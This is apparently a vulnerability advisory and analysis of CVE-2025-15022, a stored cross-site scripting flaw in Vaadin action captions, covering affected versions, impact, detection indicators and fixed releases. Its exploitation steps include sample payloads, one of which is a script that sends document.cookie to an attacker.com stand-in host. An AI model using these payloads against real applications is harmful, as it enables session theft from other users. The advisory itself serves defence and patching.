CVE-2025-15022: 
Java vulnerability analysis and mitigation

CVE-2025-15022 is a Cross-Site Scripting (XSS) vulnerability in Vaadin's action caption handling, where HTML content in action captions was accepted by default but not sanitized, enabling script injection when caption content is derived from user input. It affects Vaadin Framework 7 (7.0.0–7.7.49), Framework 8 (8.0.0–8.29.1), and Vaadin 23.1.0 through 24.9.6; Vaadin 14 is not affected. The vulnerability was published on January 5, 2026, with patches released the same day (GitHub Advisory). It carries a CVSS v4.0 base score of 4.8 (Medium) (GitHub Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), where the Action class in Vaadin accepted HTML in caption strings without sanitization (GitHub Advisory). In Framework 7 and 8, the Action class is general-purpose and used across multiple UI components, broadening the attack surface; in Vaadin 23+, it is scoped to the Spreadsheet component's context menu. An authenticated attacker with low privileges can supply a malicious HTML/JavaScript payload as an action caption — for example, through user-controlled data that populates a context menu entry — which is then rendered unsanitized in other users' browsers when they interact with the affected component. The fix introduces default HTML sanitization using Jsoup with a relaxed safelist for Vaadin 23+ and provides an explicit API to opt into HTML content mode for backwards compatibility in Framework 7/8 (GitHub Advisory, flow-components PR).

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the browsers of other authenticated users who view or interact with the affected Vaadin component. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of victims, and exfiltration of sensitive data displayed in the application. The impact is primarily on the integrity and confidentiality of subsequent (user) systems, with no direct availability impact on the server (GitHub Advisory).

1. Identify a target application: Locate a Vaadin-based web application running an affected version (Framework 7.0.0–7.7.49, 8.0.0–8.29.1, or Vaadin 23.1.0–24.9.6) that exposes action captions derived from user-controlled input (e.g., a Spreadsheet component with user-editable context menu entries).
2. Authenticate to the application: Obtain low-privilege credentials to access the vulnerable component, as the attack requires an authenticated session.
3. Inject a malicious caption: Supply a crafted HTML/JavaScript payload as the action caption value — for example, <img src=x onerror=alert(document.cookie)> or <script>fetch('https://attacker.com/?c='+document.cookie)</script> — through any input mechanism that populates the Action caption (e.g., a form field, spreadsheet cell, or API call).
4. Trigger victim interaction: Wait for or socially engineer another authenticated user to open the context menu or interact with the component that renders the malicious caption.
5. Harvest results: The injected script executes in the victim's browser, enabling session token theft, credential harvesting, or further actions on behalf of the victim (GitHub Advisory).

• Logs: Application logs showing unexpected HTML tags (e.g., <script>, <img>, onerror=) in action caption fields or context menu-related request parameters.
• Network: Outbound requests from user browsers to unexpected external domains shortly after interacting with Vaadin Spreadsheet context menus; unusual HTTP requests carrying cookie or session data to attacker-controlled endpoints.
• Application Behavior: Reports from users of unexpected pop-ups, redirects, or browser alerts when right-clicking within Vaadin Spreadsheet components.
• File System / Database: Stored XSS payloads persisted in database fields that back Vaadin action captions — look for HTML/JavaScript strings in caption or label columns.

Vaadin has released patched versions addressing this vulnerability across all affected product lines. Users should upgrade to the following fixed versions as soon as possible (GitHub Advisory):

• Vaadin Framework 7: Upgrade to 7.7.50 (com.vaadin:vaadin-server)
• Vaadin Framework 8: Upgrade to 8.30.0 (com.vaadin:vaadin-server)
• Vaadin 23: Upgrade to 23.6.6 (com.vaadin:vaadin, com.vaadin:vaadin-spreadsheet-flow)
• Vaadin 24.0–24.8: Upgrade to 24.8.14
• Vaadin 24.9: Upgrade to 24.9.7
• Vaadin 25+: Not affected

If immediate upgrade is not possible, ensure that no user-controlled input is used to populate action captions without prior server-side sanitization. For Framework 7/8, the fixed versions provide an explicit API to enable HTML content mode only where intentionally required.

The vulnerability received standard automated coverage across vulnerability tracking platforms (VulnDB, CVEFeed, CIRCL) shortly after disclosure on January 5, 2026. A brief technical write-up was published by Infinit Security (Infinit Security). No significant researcher commentary, vendor statements beyond the advisory, or notable social media discussion has been observed beyond routine CVE tracking posts.